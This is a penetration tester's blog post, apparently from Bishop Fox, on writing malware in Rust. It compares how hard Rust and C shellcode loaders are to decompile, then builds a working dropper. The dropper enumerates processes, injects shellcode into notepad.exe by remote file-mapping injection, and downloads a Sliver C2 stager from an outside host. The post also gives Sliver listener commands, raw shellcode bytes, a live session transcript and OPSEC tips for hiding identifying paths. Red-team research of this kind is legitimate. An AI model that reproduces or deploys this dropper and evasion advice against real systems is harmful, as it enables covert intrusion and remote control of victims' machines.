Understand how Threat Led Penetration Testing (TLPT) establishes a foundation for DORA compliance Watch the video›

Rust for Malware Development

Rust for Malware Development tile image with Rust logo and Bishop Fox branding.

Share

TL;DR: This blog explores the advantages of using Rust over C for malware development, highlighting Rust's evasive characteristics and challenges for reverse engineering.

Through a hands-on example of a simple shellcode dropper, it demonstrates how Rust can better simulate modern adversarial tactics.


Introduction

One of my New Year’s resolutions for 2025 was to deepen my understanding of malware development, complementing my experience in gaining initial footholds through web application and API penetration testing. I was strongly motivated to enhance my own abilities, so I could better simulate real adversarial tactics. For malware development, I chose Rust as the primary programming language for its inherent anti-analysis features – allowing for the development of more evasive tooling. In this blog post, we’ll compare developing malware in Rust compared to its C counterparts and develop a simple malware dropper for demonstration.


Rust VS. C Languages – A Comparative Analysis

At this point, you might be wondering—why Rust? What advantages does using Rust for malware development have over traditional languages like C or C++?

In recent years, languages such as Go, Nim, and Rust have become increasingly popular amongst malware authors which appeared to be motivated largely by two hypotheses:

  • Reverse engineering or analyzing binaries compiled in these languages is more difficult than their C/C++ counterparts.
  • Malware developed in an unconventional language is much more likely to bypass signature-based detection mechanisms.

In 2023, the Rochester Institute of Technology published a thesis which aimed to prove or disprove these hypotheses by performing a comparative analysis of malware developed in Rust and C/C++. The results of the study are summarized by the following facts:

  • The size of Rust binaries is significantly larger than their C/C++ counterparts, which could increase reverse engineering efforts and complexity.
  • Automated malware analysis tools produced more false positives and false negatives when analyzing malware compiled in the Rust programming language.
  • Status quo reverse engineering tools like Ghidra and IDA Free do not do a great job of disassembling Rust binaries as opposed to C/C++.

To explore these results, we can analyze and compare functionally identical shellcode loader samples. Specifically, a sample developed in Rust and the other in C. At a high level, our malware samples will perform the following:

  1. Read raw shellcode bytes from a file that launches calc.exe.
  2. Write and execute the shellcode in memory of the local process using Windows APIs.

For example, the Rust code snippet can be referenced below:

use std::fs::File; 
use std::ptr; 
use std::io::{self, Read}; 
use windows::Win32::{ 
    System::{ 
        Threading::{CreateThread, WaitForSingleObject, THREAD_CREATION_FLAGS, INFINITE}, 
        Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS}, 
    }, 
    Foundation::CloseHandle 
}; 
 
fn main() { 
    /* Reading our shellcode into payload_vec */ 
    let mut shellcode_bytes = File::open("shellcode/calc.bin").unwrap(); 
    let mut payload_vec = Vec::new(); 
    shellcode_bytes.read_to_end(&mut payload_vec); 

    unsafe {  
        /* Allocating memory in the local process */ 
        let l_address = VirtualAlloc(Some(ptr::null_mut()), payload_vec.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 

        /* Copying shellcode to allocated memory */ 
        ptr::copy(payload_vec.as_ptr(), l_address as *mut u8, payload_vec.len()); 

        /* Modifying memory protections */ 
        VirtualProtect(l_address, payload_vec.len(), PAGE_EXECUTE_READWRITE, &mut PAGE_PROTECTION_FLAGS(0)); 

        /* Creating local thread and running shellcode */ 
        let h_thread = CreateThread(Some(ptr::null()), 0, Some(std::mem::transmute(l_address)), Some(ptr::null()), THREAD_CREATION_FLAGS(0), Some(ptr::null_mut())).unwrap(); 
        WaitForSingleObject(h_thread, INFINITE); 
        CloseHandle(h_thread); 
    }; 
    println!("[!] Success! Executed shellcode."); 
}

The code first reads the shellcode from shellcode/calc.bin and stores the result in a buffer. Subsequently, the code allocates a block of memory in the local process based on the size of the buffer. The shellcode is then copied to the allocated memory. Finally, the memory region's protections are modified, and the shellcode is executed in a new thread. For the sake of brevity, the C equivalent to the above can be referenced on our Github.

After compiling both programs, we can immediately see that the Rust program was significantly larger:

PS > dir 
...omitted for brevity... 
Mode                 LastWriteTime         Length Name 
----                 -------------         ------ ---- 
-a----         2/18/2025   5:19 PM          73374 c_malware.exe 
-a----         2/18/2025   4:10 PM         155136 rust_malware.exe

The compiled C program had a file size of 71.7 kilobytes (KB) whereas the release build of the Rust program was nearly double the size at 151.5 KB. When using default compiler optimization settings, Rust will statically link dependencies at compile-time. This means that all of the libraries required by the program are compiled directly into the executable, including a large portion of the Rust standard and runtime libraries. In contrast, C typically makes use of dynamic linking, which leverages external libraries installed on the system. While the larger file sizes could be considered a drawback, they could also increase the level of effort and complexity in reverse engineering Rust malware.

We can also determine if Rust malware is more difficult to reverse engineer by looking at the decompiled Ghidra output for both programs. For the sake of brevity, we'll use the Ghidra output and not include IDA Free in our analysis. Now let's look at the decompiled main function of the Rust malware, comparing it to the code above.

uint uVar1; 
  BOOL BVar2; 
  longlong extraout_RAX; 
  LPTHREAD_START_ROUTINE lpStartAddress; 
  undefined **hHandle; 
  int iVar3; 
  char *pcVar4; 
  longlong *plVar5; 
  SIZE_T SVar6; 
  longlong alStack_80 [3]; 
  DWORD DStack_64; 
  undefined **ppuStack_60; 
  undefined8 uStack_58; 
  undefined8 *puStack_50; 
  undefined **ppuStack_48; 
  undefined8 uStack_40; 
  undefined8 uStack_38; 
  undefined4 uStack_30; 
  undefined4 uStack_2c; 
  undefined4 uStack_28; 
  undefined2 uStack_24; 
  undefined2 uStack_22; 
  undefined8 uStack_18; 

  uStack_18 = 0xfffffffffffffffe; 
  ppuStack_48 = (undefined **)((ulonglong)ppuStack_48 & 0xffffffff00000000); 
  uStack_40._0_4_ = 0; 
  uStack_40._4_4_ = 0; 
  uStack_38 = 0; 
  uStack_30 = 7; 
  uStack_2c = 0; 
  uStack_24 = 0; 
  uStack_28 = 1; 
  pcVar4 = "shellcode/shellcode.binsrc\\main.rs"; 
  uVar1 = std::fs::OpenOptions::_open((char *)&ppuStack_48,0x4001c470,0x17); 
  if ((uVar1 & 1) != 0) { 
    ppuStack_48 = (undefined **)pcVar4; 
                    /* WARNING: Subroutine does not return */ 
    core::result::unwrap_failed(); 
  } 
  alStack_80[0] = 0; 
  alStack_80[1] = 1; 
  alStack_80[2] = 0; 
  plVar5 = alStack_80; 
  ppuStack_60 = (undefined **)pcVar4; 
  std::fs::impl$8::read_to_end(); 
  if ((extraout_RAX != 0) && (((uint)plVar5 & 3) == 1)) { 
    uStack_58 = *(undefined8 *)((longlong)plVar5 + -1); 
    puStack_50 = *(undefined8 **)((longlong)plVar5 + 7); 
    if ((code *)*puStack_50 != (code *)0x0) { 
      (*(code *)*puStack_50)(uStack_58); 
    } 
    if (puStack_50[1] != 0) { 
      std::alloc::__default_lib_allocator::__rust_dealloc(); 
    } 
    std::alloc::__default_lib_allocator::__rust_dealloc(); 
  } 
  lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,alStack_80[2],0x3000,4); 
  DStack_64 = 0; 
  SVar6 = alStack_80[2]; 
  BVar2 = VirtualProtect(lpStartAddress,alStack_80[2],0x40,&DStack_64); 
  iVar3 = (int)SVar6; 
  if (BVar2 == 0) { 
    ppuStack_48 = (undefined **)windows_result::error::Error::from_win32(); 
    uStack_40._0_4_ = iVar3; 
    if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) { 
      _<>::drop(&ppuStack_48); 
    } 
  } 
  iVar3 = 0; 
  hHandle = (undefined **) 
            CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0); 
  if ((longlong)hHandle + 1U < 2) { 
    hHandle = (undefined **)windows_result::error::Error::from_win32(); 
    if (iVar3 != 0) { 
      uStack_40 = CONCAT44(uStack_40._4_4_,iVar3); 
      ppuStack_48 = hHandle; 
                    /* WARNING: Subroutine does not return */ 
      core::result::unwrap_failed(); 
    } 
  } 
  iVar3 = -1; 
  WaitForSingleObject(hHandle,0xffffffff); 
  BVar2 = CloseHandle(hHandle); 
  if (BVar2 == 0) { 
    ppuStack_48 = (undefined **)windows_result::error::Error::from_win32(); 
    uStack_40 = CONCAT44(uStack_40._4_4_,iVar3); 
    if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) { 
      _<>::drop(&ppuStack_48); 
    } 
  } 
  ppuStack_48 = &PTR_s_[!]_Success!_Executed_shellcode._14001c4e8; 
  uStack_40 = 1; 
  uStack_38 = 8; 
  uStack_30 = 0; 
  uStack_2c = 0; 
  uStack_28 = 0; 
  uStack_24 = 0; 
  uStack_22 = 0; 
  std::io::stdio::_print(); 
  if (alStack_80[0] != 0) { 
    std::alloc::__default_lib_allocator::__rust_dealloc(); 
  } 
  CloseHandle(ppuStack_60); 
  return; 
}

The above decompiled output is difficult to read and comprehend. This inability of Ghidra to properly decompile the Rust program is likely due to the following:

  • Ghidra attempted to decompile the Rust program to pseudo-C; differences in memory management and optimization between the languages resulted in pseudo code that is difficult to understand.
  • rustc performs a number of optimizations during compilation, leading to fewer clear function boundaries and highly optimized assembly (ASM) that is difficult to interpret.

The second point can be observed by comparing the ASM of the following Rust program at different compiler optimization levels:

fn add(a: i32, b: i32) -> i32 { 
    a + b 
} 

fn main() { 
    let x = add(3, 4); 
    println!("{}", x); 
}

Our program simply defines a function add and calls it in our main function with two arguments. Next, we can compile the program to unoptimized and optimized ASM using the following rustc commands:

PS > rustc -C opt-level=0 --emit asm -o unoptimized.s src/main.rs 
PS > rustc -C opt-level=3 --emit asm -o optimized.s src/main.rs

We can compare the optimized and unoptimized ASM using vim -d unoptimized.s optimized.s:

Optimized and Unoptimized ASM Comparison
Figure 1: Optimized and Unoptimized ASM Comparison

As shown in the optimized ASM on the left, the symbol definition for the add function is missing, indicating that the function could have been in-lined by rustc optimizations at compile-time.

It is also worth noting that, like C++, Rust performs symbol name mangling, with semantics specific to Rust. However, Ghidra introduced Rust symbol name de-mangling with release 11.0. Prior to version 11.0, native Rust did not support name de-mangling, which made reverse engineering even more difficult. However, significant strides have been made since then and attempts to de-mangle symbols can be seen in the decompiled output with strings such as std::fs::impl$8::read_to_end(); which corresponds to shellcode_bytes.read_to_end(&mut payload_vec); in our original code.

In contrast, the decompiled C program was much more trivial to review:

int __cdecl main(int _Argc,char **_Argv,char **_Env) 

{ 
      DWORD local_34; 
      HANDLE local_30; 
      LPTHREAD_START_ROUTINE local_28; 
      void *local_20; 
      int local_14; 
      FILE *local_10; 

     __main(); 
      local_10 = fopen("shellcode/calc.bin","rb"); 
      fseek(local_10,0,2); 
      local_14 = ftell(local_10); 
      rewind(local_10); 
      local_20 = malloc((longlong)local_14); 
      fread(local_20,1,(longlong)local_14,local_10); 
      fclose(local_10); 
      local_28 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,(longlong)local_14,0x3000,4); 
      memcpy(local_28,local_20,(longlong)local_14); 
      free(local_20); 
      VirtualProtect(local_28,(longlong)local_14,0x40,&local_34); 
      local_30 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_28,(LPVOID)0x0,0,(LPDWORD)0x0); 
      WaitForSingleObject(local_30,0xffffffff); 
      CloseHandle(local_30); 
      printf("[!] Success! Executed shellcode.\n"); 
      return 0; 
}

The decompiled output of the C program mirrored the source much more closely than its Rust counterparts. Additionally, in Ghidra, key functions and variables were significantly easier to identify in the symbol tree of the C program.

One important operational security (OPSEC) consideration is that Rust will include absolute file paths in compiled binaries, primarily for debugging purposes. Therefore, if OPSEC is important to you, compiling in an environment that doesn't expose identifying characteristics is a good idea.

$ strings ./rust_malware.exe | grep Nick 
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\raw_vec.rs 
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\string.rs

In conclusion, Rust could make a great alternative to C/C++ when developing malware. While the 11.0 release of Ghidra marked a significant step towards decompiling and analyzing Rust binaries, reviewing the decompiled output of Rust programs remains difficult due to function inlining and other optimizations made by rustc during compile-time. Additionally, the larger resulting binaries could make analyzing Rust malware more time-consuming than their C counterparts. It will be interesting to see what improvements Ghidra team or the open-source community will make in the future to make static analysis of Rust malware easier.


Developing a Rust Malware Dropper

Now with some affirmation that Rust is a solid choice for malware development, let’s build a dropper to demonstrate. A dropper is a form of malware that is designed to install additional malware onto a computer. For our purposes, we will develop a dropper that performs the following:

  • Enumerates processes on the target for injecting our payload
  • Payload execution using file mapping injection technique
  • Stages sliver over HTTPS

Please note that the following malware is not comprehensive, and several improvements could be made from an OPSEC and evasion perspective. The following code snippets are simply to illustrate how Rust can be used for malware development.

First, we will initialize our Rust project and create our first module enumerate_processes.rs:

use windows::{ 
    Win32::System::ProcessStatus::EnumProcesses, 
    Win32::Foundation::{CloseHandle, HMODULE}, 
    Win32::System::Threading::{OpenProcess, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ}, 
    Win32::System::ProcessStatus::{GetModuleBaseNameW} 
};

pub fn get_process_pids() -> Vec<u32> { 
    /* Starting with a reasonable buffer size to store our PIDs */ 
    let mut pids = vec![0u32; 1024]; 
    let mut cb = 0u32; 

    unsafe { 
        /* Loop to dynamically resize the buffer if it is too small */ 
        loop { 
            if EnumProcesses(pids.as_mut_ptr(), pids.len() as u32, &mut cb).is_err() { 
                /* Fail silently */ 
                return vec![]; 
            }; 

            /* Identify number of pids through bytes written */ 
            let num_pids = (cb as usize) / size_of::<u32>(); 

            /* If buffer is larger than number of pids */ 
            if num_pids < pids.len() { 
                pids.truncate(num_pids); 
                return pids; 
            } 

            pids.resize(pids.len() * 2, 0); 
        } 
    } 
} 

pub fn get_process_name(pid: u32) -> String { 
    /* Stores the process name into a temporary buffer */ 
    let mut name_buffer: [u16; 260] = [0; 260]; 

    unsafe { 
        let hresult = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid); 

        if hresult.is_err() { 
            return String::from(""); 
        }; 

        let handle = hresult.unwrap(); 

        let module_name_len = GetModuleBaseNameW(handle, Some(HMODULE::default()), &mut name_buffer); 

        CloseHandle(handle); 

        if module_name_len == 0 { 
            return String::from(""); 
        } 

        /* Returns a string decoded from the temporary buffer */ 
        return String::from_utf16_lossy(&name_buffer[..module_name_len as usize]); 
    } 
}

The above code leverages several Windows APIs to enumerate remote processes on the target system. Specifically, the following APIs were used:

  • EnumProcesses - Retrieves the process identifiers (PID) for each process in the system and stores the results in an array.
  • OpenProcess - Opens a handle to an existing local process object using a specified PID.
  • GetModuleBaseNameW - Retrieves the process name using the open handle to the process.

We can quickly create a unit test in the same file to validate that the above code is working as expected.

#[cfg(test)] 
mod tests { 
    use super::*; 

    #[test] 
    fn test_enumerate_processes() { 
        let pids = get_process_pids();  

        let has_svchost = pids.iter().any(|&pid| { 
            match get_process_name(pid) { 
                name => name == "svchost.exe", 
                _ => false 
            } 
        }); 

        assert!(has_svchost, "No svchost.exe process found"); 
    } 
}

After running cargo test, we get the following output which indicates the code successfully identified the svchost.exe process.

PS > cargo test 
...omitted for brevity... 

running 1 test 
test enumerate_processes::tests::test_enumerate_processes ... ok 

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

Now that we've created a means to enumerate the remote processes on the system, we should write the code responsible for injecting our payload into a specified process. Before injecting shellcode into a process, a private memory block corresponding to the length of the payload must first be allocated in the target process. To achieve this, attackers commonly make use of the VirtualAlloc and VirtualAllocEx Windows APIs, which allocate memory directly in the specified process. Therefore, the process of allocating private memory using this method is highly monitored by security solutions. Alternatively, we can use a technique called Remote Mapping Injection which is capable of allocating memory using lesser-known Windows APIs:

  • CreateFileMapping - Creates a file mapping object which will contain the length of our payload.
  • MapViewOfFile - Maps a view of the file mapping object into the local address space.
  • MapViewOfFileNuma2 - Maps a view of the file mapping object into a remote process's address space, which includes our payload.

It's important to note that before calling MapViewOfFileNuma2, the payload must first be copied into the local address space created when calling MapViewOfFile. Once the payload is copied to the remote process, we'll utilize the CreateRemoteThread API to execute it. CreateRemoteThread is another highly monitored Windows API, but we'll use it for the sake of brevity and to avoid adding further complexity to our example.

For testing purposes, we'll simply attempt to inject calc.exe shellcode into the memory of the notepad.exe process.

use std::{ 
    mem::transmute, 
    ptr::{copy_nonoverlapping, null}, 
}; 
use windows::Win32::{ 
    Foundation::INVALID_HANDLE_VALUE, 
    System::Threading::{CreateRemoteThread, OpenProcess, WaitForSingleObject, INFINITE}, 
    System::{ 
        Memory::{CreateFileMappingA, MapViewOfFile, MapViewOfFileNuma2, FILE_MAP_WRITE, PAGE_EXECUTE_READWRITE}, 
        Threading::PROCESS_ALL_ACCESS, 
    }, 
}; 

#[cfg(test)] 
mod tests { 
    use super::*; 

    #[test] 
    fn test_mapping_injection() { 
        /* Change to accurate pid of notepad.exe */ 
        let pid = 3120;

        /* calc.exe shellcode */ 
        let shellcode: Vec<u8> = [ 
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 
            0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 
            0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 
            0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 
            0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 
            0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 
            0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 
            0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 
            0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 
            0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 
            0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 
            0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 
            0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 
            0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 
            0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 
            0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 
            0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 
            0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 
        ].to_vec(); 

        inject(pid, shellcode); 

        assert!(true); 
    } 
} 

pub fn inject(pid: u32, shellcode: Vec<u8>) { 
    unsafe { 
        /* Opens a handle to the target process using PID passed to  the function */ 
        let h_remote_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid).unwrap(); 

        /* Creates a file mapping object based on the size of our shellcode */ 
        let h_local_file = CreateFileMappingA( 
            INVALID_HANDLE_VALUE, 
            None, 
            PAGE_EXECUTE_READWRITE, 
            0, 
            shellcode.len() as u32, 
            None, 
        ).unwrap(); 

        /* Maps a view of the file mapping object to local memory */ 
        let local_map_address = MapViewOfFile( 
            h_local_file, 
            FILE_MAP_WRITE, 
            0, 
            0, 
            shellcode.len(), 
        ); 

        /* Copying shellcode to allocated memory from MapViewOfFile */ 
        copy_nonoverlapping(shellcode.as_ptr() as _, local_map_address.Value, shellcode.len()); 
 
        /* Effectively copies the allocated memory containing our payload into a remote process  */ 
        let remote_map_address = MapViewOfFileNuma2(h_local_file, h_remote_process, 0, None, 0, 0, PAGE_EXECUTE_READWRITE.0, 0); 

        /* Creates a remote thread and executes our payload */ 
        let h_thread = CreateRemoteThread( 
            h_remote_process, 
            Some(null()), 
            0, 
            transmute(remote_map_address.Value), 
            Some(null()), 
            0, 
            None, 
        ).unwrap(); 

        WaitForSingleObject(h_thread, INFINITE); 
    } 
}

After running our unit test, we can see that calc.exe was successfully injected and executed in memory of notepad.exe.

Calc.exe Successfully Injected and Executed in memory of notepad.exe
Figure 2: Calc.exe Successfully Injected and Executed in Memory of notepad.exe

Additionally, we can view our payload in the memory regions of notepad.exe immediately after the payload is copied to the remote process using x64dbg.exe:

Payload in Memory Regions of Notepad.exe
Figure 3: Payload in Memory Regions of Notepad.exe

As demonstrated, our payload was successfully copied to the 0x20efa400000 memory address of notepad.exe and our payload was executed.

Now we should first set up our sliver C2 environment (get sliver here). For simplicity, we'll just be interacting directly with our C2 server since we don't need to worry about hiding it in our testing environment. We can set up an HTTPS stage listener using the following commands:

sliver > profiles new --http sliver.nrcerne.com --format shellcode sliver-https 

[*] Saved new implant profile sliver-https 

sliver > stage-listener --url https://sliver.nrcerne.com:8886 --profile sliver-https --prepend-size 

[*] No builds found for profile sliver-https, generating a new one 
[*] Sliver name for profile sliver-https: PROFITABLE_ALUMINIUM 
[*] Job 1 (https) started

Next, we should set up an HTTPS listener:

sliver > https 
[*] Successfully started job #10

Finally, we need to generate our stager and serve it from our C2 infrastructure.

generate stager --protocol https --lhost sliver.nrcerne.com --lport 8886 -f raw 
--save /tmp 
[*] Sliver implant stager saved to: /tmp/DULL_EQUIPMENT

Now we can modify main.rs to download and execute our sliver stager in the context of notepad.exe. Note that a simple HTTPS client was developed using the reqwest library to retrieve our shellcode.

mod enumerate_processes; 
mod remote_mapping_injection; 
mod http_client; 

fn main() { 
    let url = String::from("https://sliver.nrcerne.com:8444/DULL_EQUIPMENT"); 
    let shellcode = http_client::get_payload_bytes(url).unwrap(); 

    let pids = enumerate_processes::get_process_pids(); 
    let mut p_name: String;  

    for p in pids { 
        p_name = enumerate_processes::get_process_name(p); 
        if p_name == "notepad.exe" { 
            remote_mapping_injection::inject(p, &shellcode); 
        } 
    } 
}

After running the executable, we observe the following connect back to our sliver server indicating that our stager was successfully executed in memory of notepad.exe.

[*] Session 7f947e00 PROFITABLE_ALUMINIUM - 3.81.150.232:49807 (EC2AMAZ-999SMRM) - windows/amd64 - Tue, 25 Feb 2025 00:44:18 UTC 

sliver > sessions 

 ID         Transport   Remote Address        Hostname          Username        Operating System   Health 
========== =========== ===================== ================= =============== ================== ========= 
 7f947e00   http(s)     3.81.150.232:49807    EC2AMAZ-999SMRM   Administrator   windows/amd64      [ALIVE] 

sliver > use 7f947e00 
 
[*] Active session PROFITABLE_ALUMINIUM (7f947e00-3b9a-4ef0-ad83-06a31a44c9f9) 
 
sliver (PROFITABLE_ALUMINIUM) > whoami 
 
Logon ID: EC2AMAZ-999SMRM\Administrator

As demonstrated, Rust could make a great alternative for malware development and can easily be used to stage sliver or perform other malicious actions. As aforementioned, several improvements could be made to the above example from an OPSEC and evasion standpoint, but a simple dropper was sufficient for our demonstration.

As you are probably already aware, malware development is a constantly evolving game of cat and mouse, requiring constant refinement and development of new techniques to remain effective as security solutions evolve in tandem. Although the process has been challenging so far in 2025, it has also been very rewarding, providing me with valuable insights into Windows internals and modern evasion techniques. Additionally, learning a cool new systems level language was a great byproduct for pursuing other low-level projects!

Subscribe to our blog and advisories

Be first to learn about latest tools, advisories, and findings.


Nick Cerne Headshot

About the author, Nick Cerne

Security Consultant III

Nicholas Cerne is a Security Consultant III at Bishop Fox, specializing in application penetration testing, hybrid application assessments, and cloud environment testing. He also enjoys conducting IoT security research as a hobby. Nicholas holds the Offensive Security Certified Professional (OSCP), Offensive Security Web Expert (OSWE), and Security+ certifications.

He graduated with a B.S. in Cybersecurity from Virginia Tech, where he formerly served as president of the university's Cybersecurity Club.

More by Nick

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.